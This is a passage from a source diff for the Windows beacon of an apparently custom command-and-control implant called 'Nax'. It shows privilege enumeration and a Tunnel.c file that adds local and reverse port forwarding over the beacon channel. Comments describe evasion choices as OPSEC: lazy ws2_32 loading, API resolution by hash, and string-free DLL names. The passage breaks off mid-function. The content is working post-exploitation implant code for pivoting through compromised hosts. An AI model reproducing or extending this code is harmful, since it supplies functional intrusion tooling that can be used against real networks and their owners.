||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, privBuf );
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
PTOKEN_PRIVILEGES tp = (PTOKEN_PRIVILEGES)privBuf;
|
||||
UINT32 cap = *out_len;
|
||||
UINT32 pos = 4;
|
||||
UINT32 count = 0;
|
||||
|
||||
for ( DWORD i = 0; i < tp->PrivilegeCount && pos + 40 < cap; i++ ) {
|
||||
CHAR name[64]; MmZero( name, sizeof( name ) );
|
||||
DWORD nameLen = sizeof( name ) - 1;
|
||||
|
||||
if ( !Nax->Advapi32.LookupPrivilegeNameA || !Nax->Advapi32.LookupPrivilegeNameA( NULL, &tp->Privileges[i].Luid, name, &nameLen ) )
|
||||
continue;
|
||||
|
||||
UINT32 slen = 0;
|
||||
while ( name[slen] ) slen++;
|
||||
|
||||
NaxW16( out + pos, (UINT16)slen ); pos += 2;
|
||||
MmCopy( out + pos, name, slen ); pos += slen;
|
||||
NaxW32( out + pos, tp->Privileges[i].Attributes ); pos += 4;
|
||||
count++;
|
||||
}
|
||||
|
||||
NaxW32( out, count );
|
||||
*out_len = pos;
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, privBuf );
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,675 @@
|
||||
/* beacon/src/Commands/Tunnel.c
|
||||
* lportfwd + rportfwd tunnel support.
|
||||
* ws2_32 loaded lazily on first tunnel command (OPSEC). */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
/* inline NaxFdIsSet replacement - avoids linking __WSAFDIsSet from ws2_32 */
|
||||
static __inline BOOL NaxFdIsSet( UINT_PTR s, fd_set* set ) {
|
||||
for ( unsigned int i = 0; i < set->fd_count; i++ ) {
|
||||
if ( set->fd_array[i] == (SOCKET)s )
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* ========= [ ws2_32 lazy loader ] ========= */
|
||||
|
||||
FUNC BOOL NaxEnsureWs2( PNAX_INSTANCE Nax ) {
|
||||
|
||||
if ( Nax->Ws2.Loaded )
|
||||
return TRUE;
|
||||
|
||||
PVOID hWs2 = NaxGetModule( H_WS2_32_DLL );
|
||||
if ( !hWs2 ) {
|
||||
WCHAR ws2Name[] = { 'w','s','2','_','3','2','.','d','l','l', 0 };
|
||||
hWs2 = C_PTR( Nax->Kernel32.LoadLibraryW( ws2Name ) );
|
||||
if ( !hWs2 )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Nax->Ws2.WSAStartup = NaxGetProc( hWs2, H_WSASTARTUP );
|
||||
Nax->Ws2.WSACleanup = NaxGetProc( hWs2, H_WSACLEANUP );
|
||||
Nax->Ws2.WSAGetLastError = NaxGetProc( hWs2, H_WSAGETLASTERROR );
|
||||
Nax->Ws2.socket = NaxGetProc( hWs2, H_SOCKET_FN );
|
||||
Nax->Ws2.closesocket = NaxGetProc( hWs2, H_CLOSESOCKET );
|
||||
Nax->Ws2.connect = NaxGetProc( hWs2, H_CONNECT_FN );
|
||||
Nax->Ws2.bind = NaxGetProc( hWs2, H_BIND_FN );
|
||||
Nax->Ws2.listen = NaxGetProc( hWs2, H_LISTEN_FN );
|
||||
Nax->Ws2.accept = NaxGetProc( hWs2, H_ACCEPT_FN );
|
||||
Nax->Ws2.send = NaxGetProc( hWs2, H_SEND_FN );
|
||||
Nax->Ws2.recv = NaxGetProc( hWs2, H_RECV_FN );
|
||||
Nax->Ws2.select = NaxGetProc( hWs2, H_SELECT_FN );
|
||||
Nax->Ws2.ioctlsocket = NaxGetProc( hWs2, H_IOCTLSOCKET );
|
||||
Nax->Ws2.htons = NaxGetProc( hWs2, H_HTONS );
|
||||
Nax->Ws2.ntohs = NaxGetProc( hWs2, H_NTOHS );
|
||||
Nax->Ws2.inet_addr = NaxGetProc( hWs2, H_INET_ADDR );
|
||||
Nax->Ws2.gethostbyname = NaxGetProc( hWs2, H_GETHOSTBYNAME );
|
||||
Nax->Ws2.setsockopt = NaxGetProc( hWs2, H_SETSOCKOPT );
|
||||
Nax->Ws2.shutdown = NaxGetProc( hWs2, H_SHUTDOWN_FN );
|
||||
Nax->Ws2.WSACreateEvent = NaxGetProc( hWs2, H_WSACREATEEVENT );
|
||||
Nax->Ws2.WSACloseEvent = NaxGetProc( hWs2, H_WSACLOSEEVENT );
|
||||
Nax->Ws2.WSAEventSelect = NaxGetProc( hWs2, H_WSAEVENTSELECT );
|
||||
Nax->Ws2.WSAResetEvent = NaxGetProc( hWs2, H_WSARESETEVENT );
|
||||
Nax->Ws2.WSAEnumNetworkEvents = NaxGetProc( hWs2, H_WSAENUMNETWORKEVENTS );
|
||||
|
||||
if ( !Nax->Ws2.socket || !Nax->Ws2.connect || !Nax->Ws2.send ||
|
||||
!Nax->Ws2.recv || !Nax->Ws2.select || !Nax->Ws2.closesocket )
|
||||
return FALSE;
|
||||
|
||||
WSADATA wsaData;
|
||||
MmZero( &wsaData, sizeof( wsaData ) );
|
||||
if ( Nax->Ws2.WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) != 0 )
|
||||
return FALSE;
|
||||
|
||||
Nax->Ws2.Loaded = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* ========= [ tunnel list helpers ] ========= */
|
||||
|
||||
FUNC NAX_TUNNEL* NaxTunnelFind( PNAX_INSTANCE Nax, UINT32 channelId ) {
|
||||
|
||||
NAX_TUNNEL* t = Nax->TunnelHead;
|
||||
while ( t ) {
|
||||
if ( t->ChannelId == channelId )
|
||||
return t;
|
||||
t = t->Next;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
FUNC NAX_TUNNEL* NaxTunnelAlloc( PNAX_INSTANCE Nax, UINT32 channelId ) {
|
||||
|
||||
NAX_TUNNEL* t = C_PTR( Nax->Ntdll.RtlAllocateHeap(
|
||||
Nax->Heap, 0x08, sizeof( NAX_TUNNEL ) ) );
|
||||
if ( !t )
|
||||
return NULL;
|
||||
|
||||
MmZero( t, sizeof( NAX_TUNNEL ) );
|
||||
t->ChannelId = channelId;
|
||||
t->Next = Nax->TunnelHead;
|
||||
Nax->TunnelHead = t;
|
||||
return t;
|
||||
}
|
||||
|
||||
FUNC VOID NaxTunnelRemove( PNAX_INSTANCE Nax, NAX_TUNNEL* target ) {
|
||||
|
||||
NAX_TUNNEL** pp = &Nax->TunnelHead;
|
||||
while ( *pp ) {
|
||||
if ( *pp == target ) {
|
||||
*pp = target->Next;
|
||||
if ( target->WriteBuf )
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, target->WriteBuf );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, target );
|
||||
return;
|
||||
}
|
||||
pp = &(*pp)->Next;
|
||||
}
|
||||
}
|
||||
|
||||
/* ========= [ WSAEvent helpers for WFMO integration ] ========= */
|
||||
|
||||
FUNC VOID NaxTunnelRegisterSocket( PNAX_INSTANCE Nax, UINT_PTR sock, long events ) {
|
||||
if ( !Nax->Ws2.WSACreateEvent )
|
||||
return;
|
||||
if ( !Nax->TunnelEvent )
|
||||
Nax->TunnelEvent = Nax->Ws2.WSACreateEvent();
|
||||
if ( Nax->TunnelEvent )
|
||||
Nax->Ws2.WSAEventSelect( sock, Nax->TunnelEvent, events );
|
||||
}
|
||||
|
||||
/* ========= [ pack tunnel result entry ] ========= */
|
||||
|
||||
/* Append one tunnel result entry to the output buffer.
|
||||
* Returns bytes written, or 0 if not enough space. */
|
||||
FUNC UINT32 NaxTunnelPackEntry( PBYTE out, UINT32 cap, UINT32 cmdId,
|
||||
PBYTE payload, UINT32 payloadLen ) {
|
||||
|
||||
UINT32 entryLen = 4 + payloadLen; /* cmdId(4) + payload */
|
||||
UINT32 total = 4 + entryLen; /* entryLen(4) + entry */
|
||||
if ( total > cap )
|
||||
return 0;
|
||||
|
||||
/* entryLen (4LE) */
|
||||
out[0] = (BYTE)( entryLen );
|
||||
out[1] = (BYTE)( entryLen >> 8 );
|
||||
out[2] = (BYTE)( entryLen >> 16 );
|
||||
out[3] = (BYTE)( entryLen >> 24 );
|
||||
|
||||
/* cmdId (4LE) */
|
||||
out[4] = (BYTE)( cmdId );
|
||||
out[5] = (BYTE)( cmdId >> 8 );
|
||||
out[6] = (BYTE)( cmdId >> 16 );
|
||||
out[7] = (BYTE)( cmdId >> 24 );
|
||||
|
||||
if ( payloadLen > 0 )
|
||||
MmCopy( out + 8, payload, payloadLen );
|
||||
|
||||
return total;
|
||||
}
|
||||
|
||||
/* ========= [ command handlers ] ========= */
|
||||
|
||||
FUNC VOID NaxTunnelConnectTCP( PNAX_INSTANCE Nax, UINT32 channelId,
|
||||
UINT32 type, PBYTE addr, UINT32 addrLen, UINT32 port ) {
|
||||
|
||||
NAX_TUNNEL* t = NaxTunnelAlloc( Nax, channelId );
|
||||
if ( !t )
|
||||
return;
|
||||
|
||||
t->Type = type;
|
||||
t->State = NAX_TUNNEL_STATE_CONNECT;
|
||||
t->Mode = NAX_TUNNEL_MODE_TCP;
|
||||
t->WaitTime = 10000;
|
||||
t->StartTick = Nax->Kernel32.GetTickCount64();
|
||||
|
||||
UINT_PTR s = Nax->Ws2.socket( NAX_AF_INET, NAX_SOCK_STREAM, NAX_IPPROTO_TCP );
|
||||
if ( s == (UINT_PTR)-1 ) {
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
return;
|
||||
}
|
||||
t->Sock = s;
|
||||
|
||||
/* non-blocking */
|
||||
ULONG nbio = 1;
|
||||
Nax->Ws2.ioctlsocket( s, NAX_FIONBIO, &nbio );
|
||||
|
||||
/* short timeouts */
|
||||
INT timeoutMs = 100;
|
||||
Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_RCVTIMEO, (PCHAR)&timeoutMs, sizeof( timeoutMs ) );
|
||||
Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_SNDTIMEO, (PCHAR)&timeoutMs, sizeof( timeoutMs ) );
|
||||
|
||||
/* null-terminate address - wire buffer has port bytes right after addr */
|
||||
CHAR addrBuf[256];
|
||||
UINT32 copyLen = addrLen < 255 ? addrLen : 255;
|
||||
MmCopy( addrBuf, addr, copyLen );
|
||||
addrBuf[copyLen] = '\0';
|
||||
|
||||
struct sockaddr_in sa;
|
||||
MmZero( &sa, sizeof( sa ) );
|
||||
sa.sin_family = NAX_AF_INET;
|
||||
sa.sin_port = Nax->Ws2.htons( (USHORT)port );
|
||||
sa.sin_addr.s_addr = Nax->Ws2.inet_addr( addrBuf );
|
||||
|
||||
if ( sa.sin_addr.s_addr == NAX_INADDR_NONE ) {
|
||||
struct hostent* he = Nax->Ws2.gethostbyname( addrBuf );
|
||||
if ( he && he->h_addr_list && he->h_addr_list[0] )
|
||||
MmCopy( &sa.sin_addr, he->h_addr_list[0], 4 );
|
||||
else {
|
||||
Nax->Ws2.closesocket( s );
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
NaxTunnelRegisterSocket( Nax, s, NAX_FD_CONNECT | NAX_FD_READ | NAX_FD_WRITE | NAX_FD_CLOSE );
|
||||
|
||||
Nax->Ws2.connect( s, (struct sockaddr*)&sa, sizeof( sa ) );
|
||||
}
|
||||
|
||||
FUNC VOID NaxTunnelWriteTCP( PNAX_INSTANCE Nax, UINT32 channelId,
|
||||
PBYTE data, UINT32 dataLen ) {
|
||||
|
||||
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
|
||||
if ( !t || t->State == NAX_TUNNEL_STATE_CLOSE )
|
||||
return;
|
||||
|
||||
/* try immediate send if no buffered data */
|
||||
if ( !t->WriteBuf || t->WriteBufSize == 0 ) {
|
||||
while ( dataLen > 0 ) {
|
||||
INT sent = Nax->Ws2.send( t->Sock, (PCHAR)data, (INT)dataLen, 0 );
|
||||
if ( sent > 0 ) {
|
||||
data += sent;
|
||||
dataLen -= sent;
|
||||
} else {
|
||||
break; /* WSAEWOULDBLOCK or error - buffer the rest */
|
||||
}
|
||||
}
|
||||
if ( dataLen == 0 )
|
||||
return;
|
||||
}
|
||||
|
||||
/* buffer the remainder */
|
||||
UINT32 newSize = t->WriteBufSize + dataLen;
|
||||
if ( newSize > NAX_TUNNEL_HARD_CAP ) {
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
return;
|
||||
}
|
||||
PBYTE newBuf = C_PTR( Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, newSize ) );
|
||||
if ( !newBuf ) {
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
return;
|
||||
}
|
||||
if ( t->WriteBuf && t->WriteBufSize > 0 )
|
||||
MmCopy( newBuf, t->WriteBuf, t->WriteBufSize );
|
||||
MmCopy( newBuf + t->WriteBufSize, data, dataLen );
|
||||
if ( t->WriteBuf )
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf );
|
||||
t->WriteBuf = newBuf;
|
||||
t->WriteBufSize = newSize;
|
||||
}
|
||||
|
||||
FUNC VOID NaxTunnelClose( PNAX_INSTANCE Nax, UINT32 channelId ) {
|
||||
|
||||
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
|
||||
if ( t ) {
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
t->CloseTimer = 0;
|
||||
}
|
||||
}
|
||||
|
||||
FUNC VOID NaxTunnelReverse( PNAX_INSTANCE Nax, UINT32 tunnelId, UINT32 port ) {
|
||||
|
||||
NAX_TUNNEL* t = NaxTunnelAlloc( Nax, tunnelId );
|
||||
if ( !t )
|
||||
return;
|
||||
|
||||
t->Type = 0;
|
||||
t->State = NAX_TUNNEL_STATE_CONNECT;
|
||||
t->Mode = NAX_TUNNEL_MODE_REVERSE;
|
||||
t->WaitTime = 0;
|
||||
t->StartTick = Nax->Kernel32.GetTickCount64();
|
||||
|
||||
UINT_PTR s = Nax->Ws2.socket( NAX_AF_INET, NAX_SOCK_STREAM, NAX_IPPROTO_TCP );
|
||||
if ( s == (UINT_PTR)-1 ) {
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
return;
|
||||
}
|
||||
t->Sock = s;
|
||||
|
||||
/* allow address reuse */
|
||||
INT reuse = 1;
|
||||
Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_REUSEADDR, (PCHAR)&reuse, sizeof( reuse ) );
|
||||
|
||||
/* non-blocking */
|
||||
ULONG nbio = 1;
|
||||
Nax->Ws2.ioctlsocket( s, NAX_FIONBIO, &nbio );
|
||||
|
||||
/* bind loopback only (OPSEC) */
|
||||
struct sockaddr_in sa;
|
||||
MmZero( &sa, sizeof( sa ) );
|
||||
sa.sin_family = NAX_AF_INET;
|
||||
sa.sin_port = Nax->Ws2.htons( (USHORT)port );
|
||||
sa.sin_addr.s_addr = NAX_INADDR_LOOPBACK_NBO;
|
||||
|
||||
if ( Nax->Ws2.bind( s, (struct sockaddr*)&sa, sizeof( sa ) ) != 0 ) {
|
||||
Nax->Ws2.closesocket( s );
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
return;
|
||||
}
|
||||
|
||||
if ( Nax->Ws2.listen( s, 10 ) != 0 ) {
|
||||
Nax->Ws2.closesocket( s );
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
return;
|
||||
}
|
||||
|
||||
NaxTunnelRegisterSocket( Nax, s, NAX_FD_ACCEPT | NAX_FD_CLOSE );
|
||||
|
||||
t->State = NAX_TUNNEL_STATE_READY;
|
||||
}
|
||||
|
||||
FUNC VOID NaxTunnelPause( PNAX_INSTANCE Nax, UINT32 channelId ) {
|
||||
|
||||
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
|
||||
if ( t )
|
||||
t->SrvPaused = TRUE;
|
||||
}
|
||||
|
||||
FUNC VOID NaxTunnelResume( PNAX_INSTANCE Nax, UINT32 channelId ) {
|
||||
|
||||
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
|
||||
if ( t )
|
||||
t->SrvPaused = FALSE;
|
||||
}
|
||||
|
||||
/* ========= [ tunnel command dispatcher ] ========= */
|
||||
|
||||
FUNC VOID NaxTunnelDispatch( PNAX_INSTANCE Nax, BYTE cmdId,
|
||||
PBYTE args, UINT32 argsLen ) {
|
||||
|
||||
if ( !NaxEnsureWs2( Nax ) )
|
||||
return;
|
||||
|
||||
switch ( cmdId ) {
|
||||
|
||||
case NAX_CMD_TUNNEL_CONNECT_TCP: {
|
||||
/* channelId(4) | type(4) | addrLen(4) | addr(addrLen) | port(4) */
|
||||
if ( argsLen < 16 ) return;
|
||||
UINT32 chId = NaxR32( args );
|
||||
UINT32 type = NaxR32( args + 4 );
|
||||
UINT32 addrLen = NaxR32( args + 8 );
|
||||
if ( argsLen < 12 + addrLen + 4 ) return;
|
||||
UINT32 port = NaxR32( args + 12 + addrLen );
|
||||
NaxTunnelConnectTCP( Nax, chId, type, args + 12, addrLen, port );
|
||||
break;
|
||||
}
|
||||
|
||||
case NAX_CMD_TUNNEL_WRITE_TCP: {
|
||||
/* channelId(4) | dataLen(4) | data */
|
||||
if ( argsLen < 8 ) return;
|
||||
UINT32 chId = NaxR32( args );
|
||||
UINT32 dataLen = NaxR32( args + 4 );
|
||||
if ( argsLen < 8 + dataLen ) return;
|
||||
NaxTunnelWriteTCP( Nax, chId, args + 8, dataLen );
|
||||
break;
|
||||
}
|
||||
|
||||
case NAX_CMD_TUNNEL_CLOSE: {
|
||||
/* channelId(4) */
|
||||
if ( argsLen < 4 ) return;
|
||||
NaxTunnelClose( Nax, NaxR32( args ) );
|
||||
break;
|
||||
}
|
||||
|
||||
case NAX_CMD_TUNNEL_REVERSE: {
|
||||
/* tunnelId(4) | port(4) */
|
||||
if ( argsLen < 8 ) return;
|
||||
NaxTunnelReverse( Nax, NaxR32( args ), NaxR32( args + 4 ) );
|
||||
break;
|
||||
}
|
||||
|
||||
case NAX_CMD_TUNNEL_PAUSE: {
|
||||
if ( argsLen < 4 ) return;
|
||||
NaxTunnelPause( Nax, NaxR32( args ) );
|
||||
break;
|
||||
}
|
||||
|
||||
case NAX_CMD_TUNNEL_RESUME: {
|
||||
if ( argsLen < 4 ) return;
|
||||
NaxTunnelResume( Nax, NaxR32( args ) );
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* ========= [ heartbeat tunnel processor ] ========= */
|
||||
|
||||
FUNC UINT32 NaxProcessTunnels( PNAX_INSTANCE Nax, PBYTE out, UINT32 outCap ) {
|
||||
|
||||
if ( !Nax->TunnelHead )
|
||||
return 0;
|
||||
|
||||
/* Consume per-socket WSA event records so TunnelEvent stays clear
|
||||
* until the next real network event. WSAResetEvent alone only
|
||||
* resets the event object — internal per-socket records persist
|
||||
* and re-signal immediately, causing a hot loop. */
|
||||
if ( Nax->Ws2.WSAEnumNetworkEvents ) {
|
||||
NAX_TUNNEL* ev = Nax->TunnelHead;
|
||||
while ( ev ) {
|
||||
WSANETWORKEVENTS ne;
|
||||
MmZero( &ne, sizeof( ne ) );
|
||||
Nax->Ws2.WSAEnumNetworkEvents( ev->Sock, NULL, &ne );
|
||||
ev = ev->Next;
|
||||
}
|
||||
}
|
||||
|
||||
UINT32 written = 0;
|
||||
UINT64 now = Nax->Kernel32.GetTickCount64();
|
||||
|
||||
/* scratch for select */
|
||||
struct timeval tv;
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
/* ---- Phase 1: Check connecting sockets ---- */
|
||||
NAX_TUNNEL* t = Nax->TunnelHead;
|
||||
while ( t ) {
|
||||
NAX_TUNNEL* next = t->Next;
|
||||
|
||||
if ( t->State == NAX_TUNNEL_STATE_CONNECT && t->Mode == NAX_TUNNEL_MODE_TCP ) {
|
||||
fd_set wfds, efds;
|
||||
FD_ZERO( &wfds );
|
||||
FD_ZERO( &efds );
|
||||
FD_SET( t->Sock, &wfds );
|
||||
FD_SET( t->Sock, &efds );
|
||||
|
||||
INT sr = Nax->Ws2.select( 0, NULL, &wfds, &efds, &tv );
|
||||
if ( sr > 0 && NaxFdIsSet( t->Sock, &wfds ) && !NaxFdIsSet( t->Sock, &efds ) ) {
|
||||
t->State = NAX_TUNNEL_STATE_READY;
|
||||
/* pack CONNECT_TCP result: channelId(4) | type(4) | result(4) = success(0) */
|
||||
BYTE rb[12];
|
||||
UINT32 chId = t->ChannelId, tp = t->Type, res = 0;
|
||||
rb[0] = (BYTE)chId; rb[1] = (BYTE)(chId>>8); rb[2] = (BYTE)(chId>>16); rb[3] = (BYTE)(chId>>24);
|
||||
rb[4] = (BYTE)tp; rb[5] = (BYTE)(tp>>8); rb[6] = (BYTE)(tp>>16); rb[7] = (BYTE)(tp>>24);
|
||||
rb[8] = (BYTE)res; rb[9] = (BYTE)(res>>8); rb[10]= (BYTE)(res>>16); rb[11]= (BYTE)(res>>24);
|
||||
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
|
||||
NAX_CMD_TUNNEL_CONNECT_TCP, rb, 12 );
|
||||
written += w;
|
||||
} else if ( t->WaitTime > 0 && ( now - t->StartTick ) > t->WaitTime ) {
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
/* pack failure result */
|
||||
BYTE rb[12];
|
||||
UINT32 chId = t->ChannelId, tp = t->Type, res = 1;
|
||||
rb[0] = (BYTE)chId; rb[1] = (BYTE)(chId>>8); rb[2] = (BYTE)(chId>>16); rb[3] = (BYTE)(chId>>24);
|
||||
rb[4] = (BYTE)tp; rb[5] = (BYTE)(tp>>8); rb[6] = (BYTE)(tp>>16); rb[7] = (BYTE)(tp>>24);
|
||||
rb[8] = (BYTE)res; rb[9] = (BYTE)(res>>8); rb[10]= (BYTE)(res>>16); rb[11]= (BYTE)(res>>24);
|
||||
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
|
||||
NAX_CMD_TUNNEL_CONNECT_TCP, rb, 12 );
|
||||
written += w;
|
||||
}
|
||||
}
|
||||
|
||||
/* Check reverse listeners for incoming connections */
|
||||
if ( t->State == NAX_TUNNEL_STATE_READY && t->Mode == NAX_TUNNEL_MODE_REVERSE ) {
|
||||
fd_set rfds;
|
||||
FD_ZERO( &rfds );
|
||||
FD_SET( t->Sock, &rfds );
|
||||
|
||||
INT sr = Nax->Ws2.select( 0, &rfds, NULL, NULL, &tv );
|
||||
if ( sr > 0 && NaxFdIsSet( t->Sock, &rfds ) ) {
|
||||
struct sockaddr_in ca;
|
||||
INT caLen = sizeof( ca );
|
||||
UINT_PTR cs = Nax->Ws2.accept( t->Sock, (struct sockaddr*)&ca, &caLen );
|
||||
if ( cs != (UINT_PTR)-1 ) {
|
||||
/* non-blocking on accepted socket */
|
||||
ULONG nbio = 1;
|
||||
Nax->Ws2.ioctlsocket( cs, NAX_FIONBIO, &nbio );
|
||||
NaxTunnelRegisterSocket( Nax, cs, NAX_FD_READ | NAX_FD_WRITE | NAX_FD_CLOSE );
|
||||
|
||||
/* generate channel ID from lower bits of socket handle XOR tick */
|
||||
UINT32 newChId = (UINT32)( cs ^ ( now & 0xFFFFFFFF ) );
|
||||
NAX_TUNNEL* ct = NaxTunnelAlloc( Nax, newChId );
|
||||
if ( ct ) {
|
||||
ct->Sock = cs;
|
||||
ct->State = NAX_TUNNEL_STATE_READY;
|
||||
ct->Mode = NAX_TUNNEL_MODE_TCP;
|
||||
ct->Type = t->Type;
|
||||
|
||||
/* pack ACCEPT: tunnelId(4) | newChannelId(4) */
|
||||
BYTE ab[8];
|
||||
UINT32 tid = t->ChannelId;
|
||||
ab[0] = (BYTE)tid; ab[1] = (BYTE)(tid>>8); ab[2] = (BYTE)(tid>>16); ab[3] = (BYTE)(tid>>24);
|
||||
ab[4] = (BYTE)newChId; ab[5] = (BYTE)(newChId>>8); ab[6] = (BYTE)(newChId>>16); ab[7] = (BYTE)(newChId>>24);
|
||||
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
|
||||
NAX_CMD_TUNNEL_ACCEPT, ab, 8 );
|
||||
written += w;
|
||||
} else {
|
||||
Nax->Ws2.closesocket( cs );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
t = next;
|
||||
}
|
||||
|
||||
/* ---- Phase 2: Flush write buffers (READY only, matching reference agent) ---- */
|
||||
t = Nax->TunnelHead;
|
||||
while ( t ) {
|
||||
if ( t->State == NAX_TUNNEL_STATE_READY
|
||||
&& t->WriteBuf && t->WriteBufSize > 0 ) {
|
||||
|
||||
UINT32 totalSent = 0;
|
||||
while ( totalSent < t->WriteBufSize ) {
|
||||
INT sent = Nax->Ws2.send( t->Sock, (PCHAR)( t->WriteBuf + totalSent ),
|
||||
(INT)( t->WriteBufSize - totalSent ), 0 );
|
||||
if ( sent > 0 ) {
|
||||
totalSent += (UINT32)sent;
|
||||
} else {
|
||||
break; /* WSAEWOULDBLOCK or error */
|
||||
}
|
||||
}
|
||||
|
||||
if ( totalSent > 0 ) {
|
||||
if ( totalSent >= t->WriteBufSize ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf );
|
||||
t->WriteBuf = NULL;
|
||||
t->WriteBufSize = 0;
|
||||
} else {
|
||||
UINT32 rem = t->WriteBufSize - totalSent;
|
||||
PBYTE nb = C_PTR( Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, rem ) );
|
||||
if ( nb ) {
|
||||
MmCopy( nb, t->WriteBuf + totalSent, rem );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf );
|
||||
t->WriteBuf = nb;
|
||||
t->WriteBufSize = rem;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* send RESUME if we were paused and buffer dropped below low watermark */
|
||||
if ( t->Paused && t->WriteBufSize < NAX_TUNNEL_LOW_WATERMARK ) {
|
||||
t->Paused = FALSE;
|
||||
BYTE pb[4];
|
||||
UINT32 chId = t->ChannelId;
|
||||
pb[0] = (BYTE)chId; pb[1] = (BYTE)(chId>>8); pb[2] = (BYTE)(chId>>16); pb[3] = (BYTE)(chId>>24);
|
||||
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
|
||||
NAX_CMD_TUNNEL_RESUME, pb, 4 );
|
||||
written += w;
|
||||
}
|
||||
}
|
||||
t = t->Next;
|
||||
}
|
||||
|
||||
/* ---- Phase 3: Recv from ready sockets ---- */
|
||||
UINT64 recvStart = Nax->Kernel32.GetTickCount64();
|
||||
UINT32 totalRecv = 0;
|
||||
|
||||
t = Nax->TunnelHead;
|
||||
while ( t ) {
|
||||
if ( t->State == NAX_TUNNEL_STATE_READY && t->Mode == NAX_TUNNEL_MODE_TCP && !t->SrvPaused ) {
|
||||
for ( INT i = 0; i < NAX_TUNNEL_RECV_MAX_ITER; i++ ) {
|
||||
if ( ( Nax->Kernel32.GetTickCount64() - recvStart ) > NAX_TUNNEL_RECV_BUDGET_MS )
|
||||
break;
|
||||
if ( totalRecv >= NAX_TUNNEL_HIGH_WATERMARK )
|
||||
break;
|
||||
|
||||
fd_set rfds;
|
||||
FD_ZERO( &rfds );
|
||||
FD_SET( t->Sock, &rfds );
|
||||
INT sr = Nax->Ws2.select( 0, &rfds, NULL, NULL, &tv );
|
||||
if ( sr <= 0 || !NaxFdIsSet( t->Sock, &rfds ) )
|
||||
break;
|
||||
|
||||
/* recv into output buffer directly after the entry header space */
|
||||
UINT32 space = outCap - written;
|
||||
if ( space < NAX_TUNNEL_RECV_HDR_RESERVE ) break;
|
||||
UINT32 maxRecv = space - NAX_TUNNEL_RECV_HDR_RESERVE;
|
||||
if ( maxRecv > NAX_TUNNEL_RECV_CHUNK_MAX ) maxRecv = NAX_TUNNEL_RECV_CHUNK_MAX;
|
||||
|
||||
BYTE* recvBase = out + written + 8 + 8; /* skip entryLen(4)+cmdId(4) + channelId(4)+dataLen(4) */
|
||||
INT got = Nax->Ws2.recv( t->Sock, (PCHAR)recvBase, (INT)maxRecv, 0 );
|
||||
|
||||
if ( got > 0 ) {
|
||||
/* build payload header: channelId(4) | dataLen(4) */
|
||||
BYTE ph[8];
|
||||
UINT32 chId = t->ChannelId;
|
||||
ph[0] = (BYTE)chId; ph[1] = (BYTE)(chId>>8); ph[2] = (BYTE)(chId>>16); ph[3] = (BYTE)(chId>>24);
|
||||
ph[4] = (BYTE)got; ph[5] = (BYTE)(got>>8); ph[6] = (BYTE)(got>>16); ph[7] = (BYTE)(got>>24);
|
||||
MmCopy( out + written + 8, ph, 8 );
|
||||
|
||||
/* build entry header: entryLen(4) | cmdId(4) */
|
||||
UINT32 entryLen = 4 + 8 + (UINT32)got; /* cmdId + channelId + dataLen + data */
|
||||
UINT32 total = 4 + entryLen;
|
||||
out[written] = (BYTE)entryLen;
|
||||
out[written+1] = (BYTE)(entryLen>>8);
|
||||
out[written+2] = (BYTE)(entryLen>>16);
|
||||
out[written+3] = (BYTE)(entryLen>>24);
|
||||
UINT32 cmd = NAX_CMD_TUNNEL_WRITE_TCP;
|
||||
out[written+4] = (BYTE)cmd;
|
||||
out[written+5] = (BYTE)(cmd>>8);
|
||||
out[written+6] = (BYTE)(cmd>>16);
|
||||
out[written+7] = (BYTE)(cmd>>24);
|
||||
|
||||
written += total;
|
||||
totalRecv += (UINT32)got;
|
||||
} else if ( got == 0 ) {
|
||||
/* graceful close */
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
break;
|
||||
} else {
|
||||
